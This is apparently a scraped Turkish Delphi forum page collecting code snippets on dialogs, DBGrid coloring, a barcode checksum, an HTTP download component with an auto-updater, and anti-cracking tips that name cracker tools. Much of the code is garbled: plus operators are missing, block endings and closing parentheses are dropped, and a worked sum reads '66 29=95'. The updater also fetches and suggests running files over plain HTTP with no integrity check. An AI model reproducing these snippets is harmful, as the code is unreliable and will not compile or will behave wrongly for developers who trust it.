Programlama yapalım ve Öğrenelim.

SaveDialog_Cevap

SaveDialog un Events inin icine OnShow a asagidaki kodu yazacaksin.

procedure TForm1.SaveDialog1Show(Sender: TObject);

var

r: TRect;

Left, top: Integer;

begin

Left:=200; // Bu left

top:=100; // Bu right

with sender as topendialog do begin

GetWIndowRect( GetParent( handle ), r );

MOveWindow( GetParent( handle ),

Left, top, r.right-r.left,

r.bottom-r.top, true );

Abort;

end;

Delphi - .....................................

Delphi How to create a random list of numbers

procedure NewTrackList;

var

TrackNumbersList: array[1..14] of Integer;

I, II: Integer;

SameTracks: Boolean;

S: string;

begin

for I := 1 to 14 do

TrackNumbersList[I] := 0;

for I := 1 to 14 do

begin

TrackNumbersList[I] := Random(14) 1;

repeat

SameTracks := False;

for II := 1 to I - 1 do

begin

if I = 1 then

Break;

if TrackNumbersList[I] = TrackNumbersList[II] then

begin

SameTracks := True;

TrackNumbersList[I] := Random(14) 1;

Break;

end;

until

not SameTracks;

end;

S := '';

for I := 1 to 14 do

S := S ' ' IntToStr(TrackNumbersList[I]);

Form1.Label1.Caption := S;

end;

procedure TTunesMain.FormCreate(Sender: TObject);

begin

Randomize;

NewTrackList;

end;

S is a local variable of type String. I obviously added a TLabel to the form, as well.

Delphi - .....................................

Delphi Color TDBGrid

--------------------------------------------------------------------------------

Function to color a DBGrid (declared as private)

procedure TForm1.ColorGrid(dbgIn: TDBGrid; qryIn: TQuery; const Rect: TRect;

DataCol: Integer; Column: TColumn; State: TGridDrawState);

var

iValue: LongInt;

begin

// color only the first field

if (DataCol = 0) then

begin

// Check the field value and assign a color

iValue := qryIn.FieldByName('HINWEIS_COLOR').AsInteger;

case iValue of

1: dbgIn.Canvas.Brush.Color := clGreen;

2: dbgIn.Canvas.Brush.Color := clLime;

3: dbgIn.Canvas.Brush.Color := clYellow;

4: dbgIn.Canvas.Brush.Color := clRed;

end;

// Draw the field

dbgIn.DefaultDrawColumnCell(Rect, DataCol, Column, State);

end;

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject;

const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState);

begin

ColorGrid(DBGrid1, Query1, Rect, DataCol, Column, State);

end;

Delphi - .....................................

10121. Delphi How to use a loop to catch edit control values

Delphi CodeList'ten alıntıdır.

11.000 Delphi Code

http://www.unreadedpost.com/delphi-code-list-vt3454.html

--------------------------------------------------------------------------------

If you dropped the controls onto the notebook at design time, their Owner will be the form not the notebook. This means that it will not belong to the Components array of the notebook, but of the form. The Notebook's Controls array will be all the controls it parents and that is probably the array you want to loop through.

procedure TAddFrm.SetNextBtn;

var

I: Integer;

fld: TControl;

fldEmpty: Boolean;

begin

fldEmpty := False;

with Notebook do

begin

for I := 0 to ControlCount - 1 do

begin

fld := Controls[i];

if (fld is TDBEdit) then

begin

fldEmpty := TDBEdit(fld).GetTextLen = 0;

if fldEmpty then

Break;

end

end;

AddfrmNextBtn.Enabled := not fldEmpty;

end;

if fldName is TCustomEdit then

fldEmpty := TCustomEdit(fldName).GetTextLen = 0;

Delphi - .....................................

10122. Delphi "barcode" checksum by modulus 10

Delphi CodeList'ten alıntıdır.

11.000 Delphi Code

http://www.unreadedpost.com/delphi-code-list-vt3454.html

--------------------------------------------------------------------------------

Solve 1:

I want to publish a code for checksum calculation by modulus 10 which is used in the barcodes. I must say that this "mod10" is specifical so readf an article if you're interested.

This algorithm is very popular for UPC barcodes (Universal Product Code), hash code or serial number generation for applications etc...

The basic algorithm:

add the values of the digits in the odd positions (1, 3, 5...)

multiply this result by 3

add the values of the digits in the even positions (2, 4, 6...)

sum the results of steps 2 and 3

the check digit is the smallest number which, when added to the result in step 4, produces a multiple of 10.

Small example. Assume the source data is 08137919805

0 1 7 1 8 5=22

22*3=66

8 3 9 9 0=29

66 29=95

95 ??=100 where ?? is a 5 (our checksum)

My implementation in the Pascal:

function Mod10(const Value: string): Integer;

var

i, intOdd, intEven: Integer;

begin

{add all odd seq numbers}

intOdd := 0;

i := 1;

while (i <= Length(Value)) do

begin

Inc(intOdd, StrToIntDef(Value[i], 0));

Inc(i, 2);

end;

{add all even seq numbers}

intEven := 0;

i := 2;

while (i <= Length(Value)) do

begin

Inc(intEven, StrToIntDef(Value[i], 0));

Inc(i, 2);

end;

Result := 3 * intOdd intEven;

{modulus by 10 to get}

Result := Result mod 10;

if Result <> 0 then

Result := 10 - Result

end;

You can expand or optimize this algorithm for own needs.

For example, I modified it and now I use it for any characters (not only digits) in source value.

The original algorithm I used for UPC-barcode validation in the SMReport Designer and the my extended algorithm I use in the serial number generation as part of the protection schema (in the shareware projects).

Solve 2:

function BarCodeValid(ACode: string): boolean;

var

I: integer;

SumOdd, SumEven: integer;

ADigit, AChecksumDigit: integer;

begin

SumOdd := 0;

SumEven := 0;

for I := 1 to (Length(ACode) - 1) do

begin

ADigit := StrToIntDef(ACode[I], 0);

if (I mod 2 = 0) then

begin

SumEven := SumEven ADigit;

end

else

begin

SumOdd := SumOdd ADigit;

end; {if}

end; {for}

AChecksumDigit := StrToIntDef(ACode[Length(ACode)], 0);

Result := ((SumOdd * 3 SumEven AChecksumDigit) mod 10 = 0);

end; {--BarCodeValid--}

Delphi - .....................................

10124. Delphi Technique for handling mouse actions

Delphi CodeList'ten alıntıdır.

11.000 Delphi Code

http://www.unreadedpost.com/delphi-code-list-vt3454.html

--------------------------------------------------------------------------------

TMouseHandler = class

procedure MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer); virtual; abstract;

procedure MouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer); virtual; abstract;

procedure MouseUp(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer); virtual; abstract;

end;

Then you would make descendents of this class to handle diffent "modes" for example:

TDrawLine = class(TMouseHandler) {...};

TPaint = class(TMouseHandler) {...};

TDrawSquare = class(TMouseHandler) {...};

You do not have to apply this to just a paint program, the teqnique can be applied to any app where the mouse must do different things.

The mouse events of the control will be forwarded to the current mouse handler.

For example:

procedure TForm1.Image1MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

Handler.MouseDown(Sender, Button, Shift, X, Y)

end;

procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

begin

Handler.MouseMove(Sender, Shift, X, Y)

end;

procedure TForm1.Image1MouseUp(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

Handler.MouseUp(Sender, Button, Shift, X, Y);

end;

I'll make a note here that you may also want to include the ability for the handler to paint. For example when drawing a line you may want to display a line as the mouse moves.

When it is time to switch modes, simply reassign the "Handler" variable with a different type instance and your main form code is kept clean.

Delphi - .....................................

Delphi How to pass a [CTRL] [TAB] to a TPageControl on a MDI child form

Delphi CodeList'ten alıntıdır.

11.000 Delphi Code

http://www.unreadedpost.com/delphi-code-list-vt3454.html

--------------------------------------------------------------------------------

procedure TMainForm.FormCreate(Sender: TObject);

begin

Application.OnMessage := AppMessage;

end;

procedure TMainform.Appmessage(var Msg: TMsg; var Handled: Boolean);

var

message: TWMKey;

begin

if (msg.message = WM_KEYDOWN) and (LoWord(msg.wparam) = VK_TAB) and

(GetKeyState(VK_CONTROL) < 0) and Assigned(ActiveMDIChild) then

begin

Move(msg.message, message.msg, 3 * sizeof(Cardinal));

message.result := 0;

Handled := ActiveMDIChild.IsShortcut(message);

end;

This will redirect Ctrl Tab (and Ctrl Shift Tab) to the active MDI childs IsShortcut function. This fires the OnShortcut event, so we can use that event on the child form to further handle the key event:

function IsOnTabsheet(aControl: TWinControl; var pc: TPageControl): Boolean;

begin

while Assigned(aControl) and not (aControl is TTabsheet) do

aControl := aControl.Parent;

Result := Assigned(aControl);

if result then

pc := TTabSheet(aControl).Pagecontrol;

end;

procedure TMDIChild.FormShortCut(var Msg: TWMKey; var Handled: Boolean);

var

pc: TPageControl;

begin

if (msg.CharCode = VK_TAB) and (GetKeyState(VK_CONTROL) < 0) then

begin

if IsOnTabsheet(ActiveControl, pc) then

begin

pc.Perform(CM_DIALOGKEY, msg.CharCode, 0);

Handled := true;

end;

Delphi - .....................................

7226. Delphi 1638. How to get a list of all registered typelibs

convert a TMemoryStream to an OLE

Delphi CodeList'ten alıntıdır.

11.000 Delphi Code

http://www.unreadedpost.com/delphi-code-list-vt3454.html

--------------------------------------------------------------------------------

function MemoryStreamToOleVariant(Strm: TMemoryStream): OleVariant;

var

Data: PByteArray;

begin

Result := VarArrayCreate([0, Strm.Size - 1], varByte);

Data := VarArrayLock(Result);

try

Strm.Position := 0;

Strm.ReadBuffer(Data^, Strm.Size);

finally

VarArrayUnlock(Result);

end;

function OleVariantToMemoryStream(OV: OleVariant): TMemoryStream;

var

Data: PByteArray;

Size: integer;

begin

Result := TMemoryStream.Create;

try

Size := VarArrayHighBound(OV, 1) - VarArrayLowBound

(OV, 1) 1;

Data := VarArrayLock(OV);

try

Result.Position := 0;

Result.WriteBuffer(Data^, Size);

finally

VarArrayUnlock(OV);

end;

except

Result.Free;

Result := nil;

end;

Delphi - .....................................

Yeni bir site - www.mbzsoft.com-

www.mbzsoft.com adlı acizane bir site açtım. Yeni başlayanlar için yardımcı bir kaynak olması dileği ile.....

Mehmet BOZKURT

Delphi - .....................................

iki tarihi detaylı kıyaslama

function Kiyasla(const Tar1,Tar2:TDateTime):Integer;

//-1 tar1 küçük,+1 tar1 büyük,0 ise eşit anlamında değer döndürür.

var y1,a1,g1,s1,d1,sn1,ms1,y2,a2,g2,s2,d2,sn2,ms2:Word;

begin

DecodeDate(Tar1,y1,a1,g1); DecodeDate(Tar2,y2,a2,g2);

DecodeTime(Tar1,s1,d1,sn1,ms1); DecodeTime(Tar2,s2,d2,sn2,ms2);

Result:=0;//tar1=tar2 varsayılır.

//ne kadar hassas ölçülecekse o blok yazılmasa da olur

if y1>y2 then Result:=1 //yıl kıyaslama

else if y1=y2 then begin

if a1>a2 then Result:=1//ay kıyaslama

else if a1=a2 then begin

if g1>g2 then Result:=1//gün kıyaslama

else if g1=g2 then begin

if s1>s2 then Result:=1//saat kıyasla

else if s1=s2 then begin

{if d1>d2 then Result:=1//dakika kıyasla

else d1=d2 then begin

if sn1>sn2 then Result:=1//saniye kıyasla

else if sn1=sn2 then begin

if ms1>ms2 then Result:=-1//mili saniye kıyasla

else if ms1=ms2 then begin

//boş...

end else else Result:=-1;

end else Result:=-1;

end else Result:=-1;{bu blok kapalı iken saat'ten daha hassas kıyaslamaya girmez ve tarihler eşit sonucu çıkarır}

end else Result:=-1;

end;

Delphi - .....................................

Listboxda arama //Winamp Gibi

var

Form1: TForm1;

liste:TStringList;

implementation

{$R *.dfm}

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

liste.free;

end;

procedure TForm1.FindEditChange(Sender: TObject);

var i : Integer;

begin

Listbox1.Clear;

if FindEdit.Text = '' then

begin

ListBox1.Items:=liste;

Exit;

end;

for i := 0 to liste.Count - 1 do

if Pos(UpperCase(FindEdit.Text), UpperCase(liste[i])) > 0 then

Listbox1.Items.Add(liste[i]);

end;

procedure TForm1.FormShow(Sender: TObject);

var i : Integer;

begin

liste:= TStringList.Create;

for i := 0 to listbox1.items.Count - 1 do begin

liste.Add(listbox1.items[i]);

end;

Delphi - .....................................

Internet Uzerinden Programınızı Guncelleme

//herşey acık okursanız sorun cıkmazzz

// Bir unit var

//Altında Örneği

//En alttada Dosya

///////////////////////////////////////////////////

/////////// HTTPget uniti ///////////////////

///////////////////////////////////////////////////

{ HTTPGet component for Delphi 32 }

{ Version: 1.94 }

{ E-Mail: info@utilmind.com }

{ WWW: http://www.utilmind.com }

{ Created: October 19, 1999 }

{ Modified: June 6, 2000 }

{ PROPERTIES: }

{ Agent: String - User Agent }

{ }

{* BinaryData: Boolean - This setting specifies which type }

{* of data will taken from the web. }

{* If you set this property TRUE then }

{* component will determinee the size }

{* of files *before* getting them from }

{* the web. }

{* If this property is FALSE then as we}

{* do not knows the file size the }

{* OnProgress event will doesn't work. }

{* Also please remember that is you set}

{* this property as TRUE you will not }

{* capable to get from the web ASCII }

{* data and ofter got OnError event. }

{ }

{ FileName: String - Path to local file to store the data }

{ taken from the web }

{ Password, UserName - set this properties if you trying to }

{ get data from password protected }

{ directories. }

{ Referer: String - Additional data about referer document }

{ URL: String - The url to file or document }

{ UseCache: Boolean - Get file from the Internet Explorer's }

{ cache if requested file is cached. }

{*************************************************************}

{ METHODS: }

{ GetFile - Get the file from the web specified in the URL }

{ property and store it to the file specified in }

{ the FileName property }

{ GetString - Get the data from web and return it as usual }

{ String. You can receive this string hooking }

{ the OnDoneString event. }

{ Abort - Stop the current session }

{*************************************************************}

{ EVENTS: }

{ OnDoneFile - Occurs when the file is downloaded }

{ OnDoneString - Occurs when the string is received }

{ OnError - Occurs when error happend }

{ OnProgress - Occurs at the receiving of the BINARY DATA }

{*************************************************************}

{ Please see demo program for more information. }

{*************************************************************}

{ IMPORTANT NOTE: }

{ This software is provided 'as-is', without any express or }

{ implied warranty. In no event will the author be held }

{ liable for any damages arising from the use of this }

{ software. }

{ Permission is granted to anyone to use this software for }

{ any purpose, including commercial applications, and to }

{ alter it and redistribute it freely, subject to the }

{ following restrictions: }

{ 1. The origin of this software must not be misrepresented, }

{ you must not claim that you wrote the original software. }

{ If you use this software in a product, an acknowledgment }

{ in the product documentation would be appreciated but is }

{ not required. }

{ 2. Altered source versions must be plainly marked as such, }

{ and must not be misrepresented as being the original }

{ software. }

{ 3. This notice may not be removed or altered from any }

{ source distribution. }

{*************************************************************}

unit httpget;

interface

uses

Windows, Messages, SysUtils, Classes, WinInet;

type

TOnProgressEvent = procedure(Sender: TObject; TotalSize, Readed: Integer) of object;

TOnDoneFileEvent = procedure(Sender: TObject; FileName: String; FileSize: Integer) of object;

TOnDoneStringEvent = procedure(Sender: TObject; Result: String) of object;

THTTPGetThread = class(TThread)

private

FTAcceptTypes,

FTAgent,

FTURL,

FTFileName,

FTStringResult,

FTUserName,

FTPassword,

FTPostQuery,

FTReferer: String;

FTBinaryData,

FTUseCache: Boolean;

FTResult: Boolean;

FTFileSize: Integer;

FTToFile: Boolean;

BytesToRead, BytesReaded: DWord;

FTProgress: TOnProgressEvent;

procedure UpdateProgress;

protected

procedure Execute; override;

public

constructor Create(aAcceptTypes, aAgent, aURL, aFileName, aUserName, aPassword, aPostQuery, aReferer: String;

aBinaryData, aUseCache: Boolean; aProgress: TOnProgressEvent; aToFile: Boolean);

end;

THTTPGet = class(TObject)

private

FAcceptTypes: String;

FAgent: String;

FBinaryData: Boolean;

FURL: String;

FUseCache: Boolean;

FFileName: String;

FUserName: String;

FPassword: String;

FPostQuery: String;

FReferer: String;

FWaitThread: Boolean;

FThread: THTTPGetThread;

FError: TNotifyEvent;

FResult: Boolean;

FProgress: TOnProgressEvent;

FDoneFile: TOnDoneFileEvent;

FDoneString: TOnDoneStringEvent;

procedure ThreadDone(Sender: TObject);

public

constructor Create(aOwner: TComponent);

destructor Destroy; override;

procedure GetFile;

procedure GetString;

procedure Abort;

published

property AcceptTypes: String read FAcceptTypes write FAcceptTypes;

property Agent: String read FAgent write FAgent;

property BinaryData: Boolean read FBinaryData write FBinaryData;

property URL: String read FURL write FURL;

property UseCache: Boolean read FUseCache write FUseCache;

property FileName: String read FFileName write FFileName;

property UserName: String read FUserName write FUserName;

property Password: String read FPassword write FPassword;

property PostQuery: String read FPostQuery write FPostQuery;

property Referer: String read FReferer write FReferer;

property WaitThread: Boolean read FWaitThread write FWaitThread;

property OnProgress: TOnProgressEvent read FProgress write FProgress;

property OnDoneFile: TOnDoneFileEvent read FDoneFile write FDoneFile;

property OnDoneString: TOnDoneStringEvent read FDoneString write FDoneString;

property OnError: TNotifyEvent read FError write FError;

end;

implementation

// THTTPGetThread

constructor THTTPGetThread.Create(aAcceptTypes, aAgent, aURL, aFileName, aUserName, aPassword, aPostQuery, aReferer: String;

aBinaryData, aUseCache: Boolean; aProgress: TOnProgressEvent; aToFile: Boolean);

begin

FreeOnTerminate := True;

inherited Create(True);

FTAcceptTypes := aAcceptTypes;

FTAgent := aAgent;

FTURL := aURL;

FTFileName := aFileName;

FTUserName := aUserName;

FTPassword := aPassword;

FTPostQuery := aPostQuery;

FTReferer := aReferer;

FTProgress := aProgress;

FTBinaryData := aBinaryData;

FTUseCache := aUseCache;

FTToFile := aToFile;

Resume;

end;

procedure THTTPGetThread.UpdateProgress;

begin

FTProgress(Self, FTFileSize, BytesReaded);

end;

procedure THTTPGetThread.Execute;

var

hSession, hConnect, hRequest: hInternet;

HostName, FileName: String;

f: File;

Buf: Pointer;

dwBufLen, dwIndex: DWord;

Data: Array[0..$400] of Char;

TempStr: String;

RequestMethod: PChar;

InternetFlag: DWord;

AcceptType: LPStr;

procedure ParseURL(URL: String; var HostName, FileName: String);

procedure ReplaceChar(c1, c2: Char; var St: String);

var

p: Integer;

begin

while True do

begin

p := Pos(c1, St);

if p = 0 then Break

else St[p] := c2;

end;

var

i: Integer;

begin

if Pos('http://', LowerCase(URL)) <> 0 then

System.Delete(URL, 1, 7);

i := Pos('/', URL);

HostName := Copy(URL, 1, i);

FileName := Copy(URL, i, Length(URL) - i + 1);

if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then

SetLength(HostName, Length(HostName) - 1);

end;

procedure CloseHandles;

begin

InternetCloseHandle(hRequest);

InternetCloseHandle(hConnect);

InternetCloseHandle(hSession);

end;

begin

try

ParseURL(FTURL, HostName, FileName);

if Terminated then

begin

FTResult := False;

Exit;

end;

if FTAgent <> '' then

hSession := InternetOpen(PChar(FTAgent),

INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0)

else

hSession := InternetOpen(nil,

INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

hConnect := InternetConnect(hSession, PChar(HostName),

INTERNET_DEFAULT_HTTP_PORT, PChar(FTUserName), PChar(FTPassword), INTERNET_SERVICE_HTTP, 0, 0);

if FTPostQuery = '' then RequestMethod := 'GET'

else RequestMethod := 'POST';

if FTUseCache then InternetFlag := 0

else InternetFlag := INTERNET_FLAG_RELOAD;

AcceptType := PChar('Accept: ' + FTAcceptTypes);

hRequest := HttpOpenRequest(hConnect, RequestMethod, PChar(FileName), 'HTTP/1.0',

PChar(FTReferer), @AcceptType, InternetFlag, 0);

if FTPostQuery = '' then

HttpSendRequest(hRequest, nil, 0, nil, 0)

else

HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,

PChar(FTPostQuery), Length(FTPostQuery));

if Terminated then

begin

CloseHandles;

FTResult := False;

Exit;

end;

dwIndex := 0;

dwBufLen := 1024;

GetMem(Buf, dwBufLen);

FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,

Buf, dwBufLen, dwIndex);

if Terminated then

begin

FreeMem(Buf);

CloseHandles;

FTResult := False;

Exit;

end;

if FTResult or not FTBinaryData then

begin

if FTResult then

FTFileSize := StrToInt(StrPas(Buf));

BytesReaded := 0;

if FTToFile then

begin

AssignFile(f, FTFileName);

Rewrite(f, 1);

end

else FTStringResult := '';

while True do

begin

if Terminated then

begin

if FTToFile then CloseFile(f);

FreeMem(Buf);

CloseHandles;

FTResult := False;

Exit;

end;

if not InternetReadFile(hRequest, @Data, SizeOf(Data), BytesToRead) then Break

else

if BytesToRead = 0 then Break

else

begin

if FTToFile then

BlockWrite(f, Data, BytesToRead)

else

begin

TempStr := Data;

SetLength(TempStr, BytesToRead);

FTStringResult := FTStringResult + TempStr;

end;

inc(BytesReaded, BytesToRead);

if Assigned(FTProgress) then

Synchronize(UpdateProgress);

end;

if FTToFile then

FTResult := FTFileSize = Integer(BytesReaded)

else

begin

SetLength(FTStringResult, BytesReaded);

FTResult := BytesReaded <> 0;

end;

if FTToFile then CloseFile(f);

end;

FreeMem(Buf);

CloseHandles;

except

end;

// HTTPGet

constructor THTTPGet.Create(aOwner: TComponent);

begin

// inherited Create(aOwner);

FAcceptTypes := '*/*';

FAgent := 'UtilMind HTTPGet';

end;

destructor THTTPGet.Destroy;

begin

Abort;

inherited Destroy;

end;

procedure THTTPGet.GetFile;

var

Msg: TMsg;

begin

if not Assigned(FThread) then

begin

FThread := THTTPGetThread.Create(FAcceptTypes, FAgent, FURL, FFileName, FUserName, FPassword, FPostQuery, FReferer,

FBinaryData, FUseCache, FProgress, True);

FThread.OnTerminate := ThreadDone;

if FWaitThread then

while Assigned(FThread) do

while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do

begin

TranslateMessage(Msg);

DispatchMessage(Msg);

end;

end

end;

procedure THTTPGet.GetString;

var

Msg: TMsg;

begin

if not Assigned(FThread) then

begin

FThread := THTTPGetThread.Create(FAcceptTypes, FAgent, FURL, FFileName, FUserName, FPassword, FPostQuery, FReferer,

FBinaryData, FUseCache, FProgress, False);

FThread.OnTerminate := ThreadDone;

if FWaitThread then

while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do

begin

TranslateMessage(Msg);

DispatchMessage(Msg);

end;

end

end;

procedure THTTPGet.Abort;

begin

if Assigned(FThread) then

begin

FThread.Terminate;

FThread.FTResult := False;

end;

procedure THTTPGet.ThreadDone(Sender: TObject);

begin

FResult := FThread.FTResult;

if FResult then

if FThread.FTToFile then

if Assigned(FDoneFile) then FDoneFile(Self, FThread.FTFileName, FThread.FTFileSize) else

else

if Assigned(FDoneString) then FDoneString(Self, FThread.FTStringResult) else

else

if Assigned(FError) then FError(Self);

FThread := nil;

end;

end.

/////////////////////////////////////////////////

///////////HTTPget uniti ///////////////////

///////////////////////////////////////////////////

/////////////////////////////////////////////////

//////////////// Örnek ///////////////////

///////////////////////////////////////////////////

//3 label 2 button 1 memo 1 gauge

//label1; Durumu Göster Yüklüyor,bağlanıyor,beklemede gibi...

//label2 e guncel versiyon

//label3 e indirilen dosya boyutu

//gauge yukleme durumu gorsellik için

//memo1 e Yeni Versiyon Bilgileri yazılacak

//label4 e Updatetarihi;

//Button1 Güncel versiyon varmı kontrol edecek

//Button2 Güncel versiyon varsa indircek

uses inifiles,httpget,shellapi;//eklemeyi unutmayın

// shellapi yi yukleme bittiğinde klasor acmak için kullandık

//eğer exeyi şişiriyorsa gerekli değil

private

procedure ReadProgress (Sender: TObject; TotalSize, Readed: Integer);

procedure ReadFinish (Sender: TObject; FileName: String; FileSize: Integer);

function GetHttpDoc (RemoteLocation, LocalDirectory : String; AutoClose : Boolean) : boolean;

procedure ReadUpdateText;

public

{ Public declarations }

end;

var

Form1: TForm1;

ProcessReult : Boolean;

GetRemoteDoc : THttpGet;

CloseOnFinish : Boolean;

Updatetarihi,UpdateUrl : String;

UpdateVersion : Single;

const

VERSION_INTEGER = 0.1;

VERSION_UPDATE = 'Temmuz 2006';

DEFAULT_UPDATE_URL ='delphiturk.com/guncelle.txt';

function TForm1.GetHttpDoc (RemoteLocation, LocalDirectory : String; AutoClose : Boolean) : boolean;

var i : Integer; FileName : String;

begin

ProcessReult := True;

CloseOnFinish := AutoClose;

GetRemoteDoc.URL := RemoteLocation;

FileName := RemoteLocation;

Label1.Caption := 'Bağlanıyor ...';

for i := Length(FileName) downto 1 do

if FileName[i] = '/' then Break;

FileName := Copy(FileName, i + 1, Length(FileName));

GetRemoteDoc.FileName := LocalDirectory + FileName;

GetRemoteDoc.WaitThread := True;

GetRemoteDoc.GetFile;

Result := CloseOnFinish;

end;

procedure TForm1.ReadProgress (Sender: TObject; TotalSize, Readed: Integer);

var Tmp : String;

begin

Label1.Caption := 'Yükleniyor ...';

case Readed of

0..1024 : Tmp := IntToStr(Readed) + ' Bytes/';

1025..1024*1024 : Tmp := IntToStr(Readed div 1024) + ' KB/';

else Tmp := IntToStr(Readed div (1024 * 1024)) + ' MB/';

end;

case TotalSize of

0..1024 : Tmp := Tmp + IntToStr(TotalSize) + ' Bytes';

1025..1024*1024 : Tmp := Tmp + IntToStr(TotalSize div 1024) + ' KB';

else Tmp := Tmp + IntToStr(TotalSize div (1024 * 1024)) + ' MB';

end;

Gauge1.MaxValue := TotalSize;

//maxsimum degeri dosya boyuna ayarla

Gauge1.Value := Readed;

//suanki duruma gore degeri ayarla

label3.ProgressText:=Tmp;

//indirilen (Byte veya kb,mb) neyse işte onu yaz

end;

procedure TForm1.ReadFinish (Sender: TObject; FileName: String; FileSize: Integer);

begin

Label1.Caption := 'Yükleme Tamamlandı';

//acıklamaya gerek yok

end;

procedure TForm1.ReadUpdateText;

var UpdateText : TIniFile; i : Integer;

begin

memo1.Clear;

UpdateText := TIniFile.Create(ExtractFilePath(ParamStr(0) +'guncelle.txt');

memo1.lines.Add(UpdateText.ReadString('Guncelle', 'Guncelle', ''));

UpdateUrl := UpdateText.ReadString('Guncelle', 'GuncelemeURL', '');

UpdateVersion :=UpdateText.Readfloat('Guncelle', 'Guncel Versiyon',VERSION_INTEGER);

Updatetarihi:=UpdateText.ReadString('Guncelle', 'GuncelemeTarihi', '');

for i := 1 to UpdateText.ReadInteger('Guncelle', 'Yenilikler', 0) do

memo1.lines.Add(UpdateText.ReadString('Guncelle', 'Yeni' + IntToStr(i), ''));

UpdateText.Free;

end;

procedure TForm1.Button3Click(Sender: TObject);

begin

GetRemoteDoc := THttpGet.Create(Form1);

GetRemoteDoc.OnProgress := ReadProgress;

GetRemoteDoc.OnDoneFile := ReadFinish;

Label1.Caption := 'Beklemede';

if not GetHttpDoc(DEFAULT_UPDATE_URL,ExtractFilePath(ParamStr(0), True) then

begin

Showmessage('Bağlantı Hatası!');

exit;

end;

//'delphiturk.com/guncelle.txt' dosyası exenin

//oldugu yere indirildi kontrol ediliyor;

ReadUpdateText;

//gerekli atamalar yapıldı guncel versiyon varsa

//yukleme butonunu aktif yap ve yukle

if UpdateVersion <= VERSION_INTEGER then begin

memo1.Lines.add('Yeni Versiyon Bulunamadı');

memo1.Lines.add('Şu an güncel versiyonu kullanıyorsunuz');

Button2.Enabled:=false;

end else begin

memo1.Lines.add('Yeni Versiyon Bulundu');

label2.Caption:=floattostr(UpdateVersion);

label4.Caption:=Updatetarihi;

Button2.Enabled:=true;

end;

GetRemoteDoc.Free;

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

GetRemoteDoc := THttpGet.Create(Form1);

GetRemoteDoc.OnProgress := ReadProgress;

GetRemoteDoc.OnDoneFile := ReadFinish;

{$I-}

MKDir(ExtractFilePath(ParamStr(0)+'guncelleme');

{$I+}

if not GetHttpDoc(UpdateUrl,ExtractFilePath(ParamStr(0)+'guncelleme', True) then

begin

Showmessage('Bağlantı Hatası!');

exit;

end;

//Shellapi eklenmediyse burayı silelim

ShellExecute(0, 'explore', PChar(ExtractFilePath(ParamStr(0)+'guncelleme'), nil, nil, SW_Normal);

// Yuklenen dosyayı göster

//neler yapılır

//Guncelle.txt dosyası silinebilir

//direk kurulum başlatılabilir

//v.s size kalmış

GetRemoteDoc.Free;

end;

///////////////////////////////////////////////////

//////////////// Örnek Sonu ///////////////////

///////////////////////////////////////////////////

/////////////////////////////////////////////////

//////////////// guncelle.txt ///////////////////

///////////////////////////////////////////////////

//bu dosyayı web sitenize koyun

[Guncelle]

Guncelle=Gunceleleme Programı 1,1

Guncel Versiyon=1.2

GuncelemeURL=http://delphiturk.com/deneme.rar

Yenilikler=3

Yeni1=Su yeni

Yeni2=Bu Yeni

Yeni3=Oda yeni

/////////////////////////////////////////////////

//////////// KOLAY GELSIN \\\

Delphi - .....................................

Dev Arşiv 11.000 delphi code

{

Drony Code Spider tarafından taranan 11.000 delphi Kodu

http://www.unreadedpost.com/delphi-code-list-vt3454.html

}

Delphi - .....................................

SaveDialod

Salam Arkadaslar lutfen yardim edin.

Men SaveDialog kutusunun left ve top nu

program vasitesi ile nece teyin ede

bilerem. Bilen varsa yardim etsin.

Delphi - .....................................

programin kırılmasını zorlastırmak_crackingi engellemek_saglam program yazmak

bu yazimin amaci programci arkadaşlarin

yazdiklari programlarin kırılmasini daha

cok zorlaştırmalari ve craker'lerin izledikleri

yollar.

1- oncelikle yazdiğiniz programi pacetlemelisiniz

paket programini secerkende fazla bilinmeyen paket

programalarini tercih edin.

Bu programinizi kırmaya calişan kimseye hem caydiricilik

hemde işini zorlaştırmiş olursunuz.EXE dosyanizla oynanmasini

unasmler programlari ile programalariniz incelenmesi onlersiniz.

2- Bir program yazdiğinizda genelikle kullanicinin kayit olmasi için

bir şifre istersiniz.

a-crakırlar ilk once program yanliş şifre girildiğininde hata mesaji

veriyormu diye bakarlar (genellikle coğu program "girdiğiniz sifre yanliş"

diye mesaj verir ne kadar yanliş....)siz sifre konturolu yaptiktan sonra

mesaj vermeyin kullaniciyi değişik yollardan uyarin.

b-crakırlar regmon, filemon gibi programlarla programinizin hangi register

kayitlarinı okuyup yazdiğini hangi dosyalara eriştiğini inceler.(haliyle

sifrenizi ya bir dosyada yada bir register kaydinda tutacaksiniz)

bu yuzden programinizin kayitli olup olmadiğina bakan kodunuzu

register kayitlarinizi veya sifre dosyasini hemen okuyunca caliştirmayin

cunku softice gibi programlarla craker register kayıtlarina veya dosya işlemlerinize

hemen bir breakpoint koyar ve bu işlemlerden sonra ne yaptiğiniza bakar.

tabi sifre konturol kodunuza erişmesi zor olmaz.

c-mesala bir edit vasitasiyla kullaniciyi programi kayit edecek tarzda

bir form hazirladiniz.

editden sifreri alirken.parca parca alin (edit nesnesinin change olayindan olabilir).

orn:

String sifre;//

sifre=Edit1.text; //yanliş

cunku craker siz kullanicin girdiği sifreri alirken bura hmemcpy ,

getwindowtexta,getdlgitemtexta gibi apilere breakpoint koyarak sizin

program kodunuzu rahatlikla izleye bilir.

d-sadece bir tane sifre kontrol procuderi kullanmayin. bir birinde bağimsiz bir cok procuder

